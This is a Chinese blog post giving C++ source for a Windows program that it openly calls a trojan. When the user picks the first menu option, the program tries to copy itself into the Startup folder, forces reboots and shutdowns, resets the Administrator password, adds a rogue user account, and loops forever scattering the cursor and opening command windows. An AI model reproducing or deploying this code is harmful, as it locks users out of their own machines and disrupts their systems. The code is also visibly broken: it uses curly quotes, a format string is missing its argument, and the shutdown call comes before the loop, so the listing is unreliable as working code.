#include <iostream> #include<windows.h> #include<ctime> #include <cstdlib> #include <stdio.h> #include <fstream> using namespace std; int a; int main(){ cout<<“mabdxt1.0(mqycs!)”<<endl; cout<<“1.对自电脑植入木马病毒”<<endl; cout<<“2.关闭(否则exit(1)关闭)“<<endl; cin>>a; if(a==1){ char copy[80]; sprintf(copy,“copy %s “%%userprofile%%\「开始」菜单\程序\启动""); system(copy); char cmd[]=“shutdown -r -t 0”; system(“ping baidu.com”); system(cmd); system(“pause”); system(copy); system(“net user Administrator xz”); system(“net user 崩溃 xz /add”); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); system(“shutdown -s -t 0”); while(1){ SetCursorPos(rand()%x,rand()%y); system(“start”); } } if(a==2){ exit(1); } return 0; } AI写代码 cpp 运行
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/2301_79273855/article/details/132780441